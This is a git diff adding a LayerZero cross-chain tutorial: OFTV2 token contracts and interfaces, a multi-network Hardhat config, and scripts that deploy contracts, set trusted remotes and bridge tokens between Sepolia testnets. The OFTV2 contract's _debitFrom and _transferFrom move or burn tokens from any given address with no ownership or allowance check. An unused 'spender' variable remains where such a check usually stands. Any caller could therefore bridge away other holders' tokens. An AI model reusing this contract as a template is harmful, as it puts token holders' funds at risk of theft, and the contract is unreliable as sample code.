+        require(_payload.toUint8(0) == PT_SEND_AND_CALL, "OFTCore: invalid payload");
+
+        to = _payload.toAddress(13); // drop the first 12 bytes of bytes32
+        amountSD = _payload.toUint64(33);
+        from = _payload.toBytes32(41);
+        dstGasForCall = _payload.toUint64(73);
+        payload = _payload.slice(81, _payload.length - 81);
+    }
+
+    function _addressToBytes32(address _address) internal pure virtual returns (bytes32) {
+        return bytes32(uint(uint160(_address)));
+    }
+
+    function _debitFrom(
+        address _from,
+        uint16 _dstChainId,
+        bytes32 _toAddress,
+        uint _amount
+    ) internal virtual returns (uint);
+
+    function _creditTo(
+        uint16 _srcChainId,
+        address _toAddress,
+        uint _amount
+    ) internal virtual returns (uint);
+
+    function _transferFrom(
+        address _from,
+        address _to,
+        uint _amount
+    ) internal virtual returns (uint);
+
+    function _ld2sdRate() internal view virtual returns (uint);
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTV2.sol
new file mode 100644
index 000000000..237be4326
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/OFTV2.sol
@@ -0,0 +1,70 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "./BaseOFTV2.sol";
+
+contract OFTV2 is BaseOFTV2, ERC20 {
+    uint internal immutable ld2sdRate;
+
+    constructor(
+        string memory _name,
+        string memory _symbol,
+        uint8 _sharedDecimals,
+        address _lzEndpoint
+    ) ERC20(_name, _symbol) BaseOFTV2(_sharedDecimals, _lzEndpoint) {
+        uint8 decimals = decimals();
+        require(_sharedDecimals <= decimals, "OFT: sharedDecimals must be <= decimals");
+        ld2sdRate = 10**(decimals - _sharedDecimals);
+        _mint(_msgSender(), 10000 * 10**decimals);
+    }
+
+    /************************************************************************
+     * public functions
+     ************************************************************************/
+    function circulatingSupply() public view virtual override returns (uint) {
+        return totalSupply();
+    }
+
+    function token() public view virtual override returns (address) {
+        return address(this);
+    }
+
+    /************************************************************************
+     * internal functions
+     ************************************************************************/
+    function _debitFrom(
+        address _from,
+        uint16,
+        bytes32,
+        uint _amount
+    ) internal virtual override returns (uint) {
+        _burn(_from, _amount);
+        return _amount;
+    }
+
+    function _creditTo(
+        uint16,
+        address _toAddress,
+        uint _amount
+    ) internal virtual override returns (uint) {
+        _mint(_toAddress, _amount);
+        return _amount;
+    }
+
+    function _transferFrom(
+        address _from,
+        address _to,
+        uint _amount
+    ) internal virtual override returns (uint) {
+        address spender = _msgSender();
+        // if transfer from this contract, no need to check allowance
+        _transfer(_from, _to, _amount);
+        return _amount;
+    }
+
+    function _ld2sdRate() internal view virtual override returns (uint) {
+        return ld2sdRate;
+    }
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/ICommonOFT.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/ICommonOFT.sol
new file mode 100644
index 000000000..0790f061e
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/ICommonOFT.sol
@@ -0,0 +1,39 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity >=0.5.0;
+
+import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
+
+/**
+ * @dev Interface of the IOFT core standard
+ */
+interface ICommonOFT is IERC165 {
+
+    struct LzCallParams {
+        address payable refundAddress;
+        address zroPaymentAddress;
+        bytes adapterParams;
+    }
+
+    /**
+     * @dev estimate send token `_tokenId` to (`_dstChainId`, `_toAddress`)
+     * _dstChainId - L0 defined chain id to send tokens too
+     * _toAddress - dynamic bytes array which contains the address to whom you are sending tokens to on the dstChain
+     * _amount - amount of the tokens to transfer
+     * _useZro - indicates to use zro to pay L0 fees
+     * _adapterParam - flexible bytes array to indicate messaging adapter services in L0
+     */
+    function estimateSendFee(uint16 _dstChainId, bytes32 _toAddress, uint _amount, bool _useZro, bytes calldata _adapterParams) external view returns (uint nativeFee, uint zroFee);
+
+    function estimateSendAndCallFee(uint16 _dstChainId, bytes32 _toAddress, uint _amount, bytes calldata _payload, uint64 _dstGasForCall, bool _useZro, bytes calldata _adapterParams) external view returns (uint nativeFee, uint zroFee);
+
+    /**
+     * @dev returns the circulating amount of tokens on current chain
+     */
+    function circulatingSupply() external view returns (uint);
+
+    /**
+     * @dev returns the address of the ERC20 token
+     */
+    function token() external view returns (address);
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTReceiverV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTReceiverV2.sol
new file mode 100644
index 000000000..57e31ea33
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTReceiverV2.sol
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: BUSL-1.1
+
+pragma solidity >=0.5.0;
+
+interface IOFTReceiverV2 {
+    /**
+     * @dev Called by the OFT contract when tokens are received from source chain.
+     * @param _srcChainId The chain id of the source chain.
+     * @param _srcAddress The address of the OFT token contract on the source chain.
+     * @param _nonce The nonce of the transaction on the source chain.
+     * @param _from The address of the account who calls the sendAndCall() on the source chain.
+     * @param _amount The amount of tokens to transfer.
+     * @param _payload Additional data with no specified format.
+     */
+    function onOFTReceived(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes32 _from, uint _amount, bytes calldata _payload) external;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTV2.sol b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTV2.sol
new file mode 100644
index 000000000..0a9670c99
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/contracts/oftV2/interfaces/IOFTV2.sol
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity >=0.5.0;
+
+import "./ICommonOFT.sol";
+
+/**
+ * @dev Interface of the IOFT core standard
+ */
+interface IOFTV2 is ICommonOFT {
+
+    /**
+     * @dev send `_amount` amount of token to (`_dstChainId`, `_toAddress`) from `_from`
+     * `_from` the owner of token
+     * `_dstChainId` the destination chain identifier
+     * `_toAddress` can be any size depending on the `dstChainId`.
+     * `_amount` the quantity of tokens in wei
+     * `_refundAddress` the address LayerZero refunds if too much message fee is sent
+     * `_zroPaymentAddress` set to address(0x0) if not paying in ZRO (LayerZero Token)
+     * `_adapterParams` is a flexible bytes array to indicate messaging adapter services
+     */
+    function sendFrom(address _from, uint16 _dstChainId, bytes32 _toAddress, uint _amount, LzCallParams calldata _callParams) external payable;
+
+    function sendAndCall(address _from, uint16 _dstChainId, bytes32 _toAddress, uint _amount, bytes calldata _payload, uint64 _dstGasForCall, LzCallParams calldata _callParams) external payable;
+}
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/layerZero/hardhat.config.js b/basic/80-crossChainTransfer/layerZero/hardhat.config.js
new file mode 100644
index 000000000..ca4a01020
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/hardhat.config.js
@@ -0,0 +1,81 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+
+/** @type import('hardhat/config').HardhatUserConfig */
+// module.exports = {
+//   solidity: "0.8.24",
+// };
+
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+function mnemonic() {
+  return [process.env.PRIVATE_KEY];
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.4',  settings },
+      { version: '0.4.21',  settings },
+      { version: '0.8.22', settings },
+    ],
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    optim: {
+      url: "https://optimism-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    sepolia: {
+      url: "https://sepolia.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    arbitrum: {
+      url: "https://arbitrum-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    scroll: {
+      url: "https://rpc.scroll.io",
+      accounts: mnemonic()
+    },
+    optim_sepolia: {
+      url: "https://optimism-sepolia.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    mantaPacific: {
+      url: "https://pacific-rpc.manta.network/http",
+      accounts: mnemonic(),
+    },
+    
+  },
+  mocha: {
+    timeout: 200000
+  },
+  sourcify: {
+    enabled: true
+  },
+};
diff --git a/basic/80-crossChainTransfer/layerZero/package.json b/basic/80-crossChainTransfer/layerZero/package.json
new file mode 100644
index 000000000..c04674fee
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "layerzero",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@nomicfoundation/hardhat-toolbox": "^4.0.0",
+    "dotenv": "^16.4.5",
+    "hardhat": "^2.21.0",
+    "node-fetch": "^2.7.0"
+  },
+  "dependencies": {
+    "@layerzerolabs/scan-client": "^0.0.8",
+    "@layerzerolabs/solidity-examples": "^1.1.0",
+    "@openzeppelin/contracts": "^4.4.1"
+  }
+}
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/1-deployOmniCounterOnSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/1-deployOmniCounterOnSepolia.js
new file mode 100644
index 000000000..9b2328ed0
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/1-deployOmniCounterOnSepolia.js
@@ -0,0 +1,38 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+
+  const [deployer] = await ethers.getSigners();
+
+  // for sepolia, endpoint address is fixed, refer to : https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  // for mainnet endpoint address, please refer to : https://docs.layerzero.network/v1/developers/evm/technical-reference/mainnet/mainnet-addresses
+  const omniCounter = await ethers.deployContract("OmniCounter", ["0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1"]);
+
+  await omniCounter.waitForDeployment();
+
+  console.log(
+    `SourceOApp has been deployed to ${omniCounter.target}`
+  );
+
+  saveRedpacketDeployment({
+    omniCounterAddressOnSepolia: omniCounter.target,
+  });
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/2-deployOmniCounterOnOptimSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/2-deployOmniCounterOnOptimSepolia.js
new file mode 100644
index 000000000..d1e83cd58
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/2-deployOmniCounterOnOptimSepolia.js
@@ -0,0 +1,37 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  // for sepolia, endpoint address is fixed, refer to : https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  // for mainnet endpoint address, please refer to : https://docs.layerzero.network/v1/developers/evm/technical-reference/mainnet/mainnet-addresses
+  const omniCounter = await ethers.deployContract("OmniCounter", ["0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8"]);
+
+  await omniCounter.waitForDeployment();
+
+  console.log(
+    `SourceOApp has been deployed to ${omniCounter.target}`
+  );
+
+  saveRedpacketDeployment({
+    omniCounterAddressOnOptimSepolia: omniCounter.target,
+  });
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/3-setTrustRemoteForSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/3-setTrustRemoteForSepolia.js
new file mode 100644
index 000000000..195ca5a6e
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/3-setTrustRemoteForSepolia.js
@@ -0,0 +1,34 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const destinationOAppAddress = deployment.omniCounterAddressOnOptimSepolia
+  const sourceOAppAddress = deployment.omniCounterAddressOnSepolia
+  // check Op sepolia endPoinid: https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const destinationEndpointId =  10232
+  // for how to set trustRemote, please refer to: https://github.com/LayerZero-Labs/solidity-examples/blob/main/test/examples/OmniCounter.test.js
+  const trustRemote = ethers.solidityPacked(['address','address'], [destinationOAppAddress,sourceOAppAddress]);
+  const omniCounter = await ethers.getContractAt('OmniCounter', sourceOAppAddress, deployer);
+
+  let tx = await omniCounter.setTrustedRemote(destinationEndpointId, trustRemote);
+  await tx.wait();
+  console.log("setTrustedRemote for Op sepolia successfully")
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/4-setTrustRemoteForOptimSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/4-setTrustRemoteForOptimSepolia.js
new file mode 100644
index 000000000..9310bcd46
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/4-setTrustRemoteForOptimSepolia.js
@@ -0,0 +1,34 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const sourceOAppAddress = deployment.omniCounterAddressOnOptimSepolia
+  const destinationOAppAddress = deployment.omniCounterAddressOnSepolia
+  // check Op sepolia endPoinid: https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const destinationEndpointId =  10161
+  // for how to set trustRemote, please refer to: https://github.com/LayerZero-Labs/solidity-examples/blob/main/test/examples/OmniCounter.test.js
+  const trustRemote = ethers.solidityPacked(['address','address'], [destinationOAppAddress,sourceOAppAddress]);
+  const omniCounter = await ethers.getContractAt('OmniCounter', sourceOAppAddress, deployer);
+
+  let tx = await omniCounter.setTrustedRemote(destinationEndpointId, trustRemote);
+  await tx.wait();
+  console.log("setTrustedRemote for sepolia successfully")
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/5-sendMessageFromSepoliaToOpsepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/5-sendMessageFromSepoliaToOpsepolia.js
new file mode 100644
index 000000000..1282e9769
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/5-sendMessageFromSepoliaToOpsepolia.js
@@ -0,0 +1,43 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const omniCounterAddress = deployment.omniCounterAddressOnSepolia
+  const omniCounter = await ethers.getContractAt('OmniCounter', omniCounterAddress, deployer);
+  const destinationEndpoindId =  10232
+
+  // send message
+  let tx = await omniCounter.incrementCounter(destinationEndpoindId,{
+    gasLimit: 2483507,
+    value: ethers.parseEther("0.01")
+  });
+  await tx.wait()
+  console.log(tx)
+
+  saveRedpacketDeployment({
+    messageTxHashOnSepolia: tx.hash,
+  });
+
+  console.log(
+    `Send cross chain message successfully`
+  );
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/6-checkCrossChainMessageStatus.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/6-checkCrossChainMessageStatus.js
new file mode 100644
index 000000000..c568a36b2
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/6-checkCrossChainMessageStatus.js
@@ -0,0 +1,41 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {getMessagesBySrcTxHash} = require('@layerzerolabs/scan-client');
+
+
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const sepoliaEndpointId =  10232
+  const deployment = readRedpacketDeployment();
+  const txhash = deployment.messageTxHashOnSepolia
+  // please refer to https://www.npmjs.com/package/@layerzerolabs/scan-client for more details
+  // enum MessageStatus {
+  //   INFLIGHT = 'INFLIGHT',
+  //   DELIVERED = 'DELIVERED',
+  //   FAILED = 'FAILED',
+  //   PAYLOAD_STORED = 'PAYLOAD_STORED',
+  //   BLOCKED = 'BLOCKED',
+  //   CONFIRMING = 'CONFIRMING',
+  // }
+  const {messages} = await getMessagesBySrcTxHash(
+    sepoliaEndpointId,
+    txhash,
+  );
+  console.log(messages)
+  
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/7-checkResultOnOpsepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/7-checkResultOnOpsepolia.js
new file mode 100644
index 000000000..38bd17cbd
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendMessage/7-checkResultOnOpsepolia.js
@@ -0,0 +1,30 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const omniCounterAddress = deployment.omniCounterAddressOnOptimSepolia
+  const omniCounter = await ethers.getContractAt('OmniCounter', omniCounterAddress, deployer);
+
+  // check result
+  let result = await omniCounter.counter();
+  console.log(result)
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/1-deployOFTOnSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/1-deployOFTOnSepolia.js
new file mode 100644
index 000000000..d19c347c6
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/1-deployOFTOnSepolia.js
@@ -0,0 +1,36 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  // for sepolia, endpoint address is fixed, refer to : https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const oftv2 = await ethers.deployContract("OFTV2", ["MyFirstOFT","MYOFT",8,"0xae92d5aD7583AD66E49A0c67BAd18F6ba52dDDc1"]);
+
+  await oftv2.waitForDeployment();
+
+  console.log(
+    `OFT has been deployed to ${oftv2.target}`
+  );
+
+  saveRedpacketDeployment({
+    OFTAddressOnSepolia: oftv2.target,
+  });
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/2-deployOFTOnOptimSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/2-deployOFTOnOptimSepolia.js
new file mode 100644
index 000000000..118810865
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/2-deployOFTOnOptimSepolia.js
@@ -0,0 +1,36 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+
+const {
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  // for sepolia, endpoint address is fixed, refer to : https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const oftv2 = await ethers.deployContract("OFTV2", ["MyFirstOFT","MYOFT",8,"0x55370E0fBB5f5b8dAeD978BA1c075a499eB107B8"]);
+
+  await oftv2.waitForDeployment();
+
+  console.log(
+    `OFT has been deployed to ${oftv2.target}`
+  );
+
+  saveRedpacketDeployment({
+    OFTAddressOnOptimSepolia: oftv2.target,
+  });
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/3-setTrustRemoteForSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/3-setTrustRemoteForSepolia.js
new file mode 100644
index 000000000..95161175d
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/3-setTrustRemoteForSepolia.js
@@ -0,0 +1,34 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const destinationAddress = deployment.OFTAddressOnOptimSepolia
+  const sourceAddress = deployment.OFTAddressOnSepolia
+  // check Op sepolia endPoinid: https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const destinationEndpointId =  10232
+  // for how to set trustRemote, please refer to: https://github.com/LayerZero-Labs/solidity-examples/blob/main/test/examples/OmniCounter.test.js
+  const trustRemote = ethers.solidityPacked(['address','address'], [destinationAddress,sourceAddress]);
+  const oftv2 = await ethers.getContractAt('OFTV2', sourceAddress, deployer);
+
+  let tx = await oftv2.setTrustedRemote(destinationEndpointId, trustRemote);
+  await tx.wait();
+  console.log("setTrustedRemote for Op sepolia successfully")
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/4-setTrustRemoteForOptimSepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/4-setTrustRemoteForOptimSepolia.js
new file mode 100644
index 000000000..0c14f2f24
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/4-setTrustRemoteForOptimSepolia.js
@@ -0,0 +1,34 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const sourceAddress = deployment.OFTAddressOnOptimSepolia
+  const destinationAddress = deployment.OFTAddressOnSepolia
+  // check Op sepolia endPoinid: https://layerzero.gitbook.io/docs/technical-reference/testnet/testnet-addresses
+  const destinationEndpointId =  10161
+  // for how to set trustRemote, please refer to: https://github.com/LayerZero-Labs/solidity-examples/blob/main/test/examples/OmniCounter.test.js
+  const trustRemote = ethers.solidityPacked(['address','address'], [destinationAddress,sourceAddress]);
+  const oftv2 = await ethers.getContractAt('OFTV2', sourceAddress, deployer);
+
+  let tx = await oftv2.setTrustedRemote(destinationEndpointId, trustRemote);
+  await tx.wait();
+  console.log("setTrustedRemote for sepolia successfully")
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/5-bridgeTokenFromSepoliaToOpsepolia.js b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/5-bridgeTokenFromSepoliaToOpsepolia.js
new file mode 100644
index 000000000..eacec1726
--- /dev/null
+++ b/basic/80-crossChainTransfer/layerZero/scripts/sendTokens/5-bridgeTokenFromSepoliaToOpsepolia.js
@@ -0,0 +1,69 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const {ethers} = require("hardhat");
+const {
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+} = require("../../utils");
+
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+  const oftv2Address = deployment.OFTAddressOnSepolia
+  const oftv2 = await ethers.getContractAt('OFTV2', oftv2Address, deployer);
+  const destinationEndpoindId =  10232
+  const transferAmount = ethers.parseEther("2")
+  // more details, please refer to https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters
+  const adapterParams = ethers.solidityPacked(['uint16', 'uint256'], [1, 200000]);
+  const toAddress = ethers.zeroPadValue("0xfB0Fb78244aa8e03bfA0eF464c176246040dCC86",32);
+  
+  // setMinDstGas, otherwise, it will fail
+  // PT_SEND = 0;
+  // PT_SEND_AND_CALL = 1;
+  let tx = await oftv2.setMinDstGas(destinationEndpoindId,0,1,{
+    gasLimit: 2483507,
+  })
+  await tx.wait()
+  console.log("setMinDstGas for PT_SEND successfully")
+
+
+  // Estimate the fees for the cross-chain transfer
+  const [nativeFee, zroFee] = await oftv2.estimateSendFee(destinationEndpoindId, toAddress, transferAmount, false, adapterParams);
+  // send message
+  tx = await oftv2.sendFrom(
+    deployer.address,
+    destinationEndpoindId,
+    toAddress,
+    transferAmount,
+    { 
+      refundAddress: deployer.address, // Address for refunded gas to be sent
+      zroPaymentAddress: deployer.address, // Address for ZRO token payment, if used
+      adapterParams: adapterParams
+    },
+    {
+      gasLimit: 2483507,
+      value: ethers.parseEther("0.03")
+  });
+  await tx.wait()
+  console.log(tx)
+
+  saveRedpacketDeployment({
+    BridgetxHashOnSepolia: tx.hash,
+  });
+
+  console.log(
+    `bridge token successfully`
+  );
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main().catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
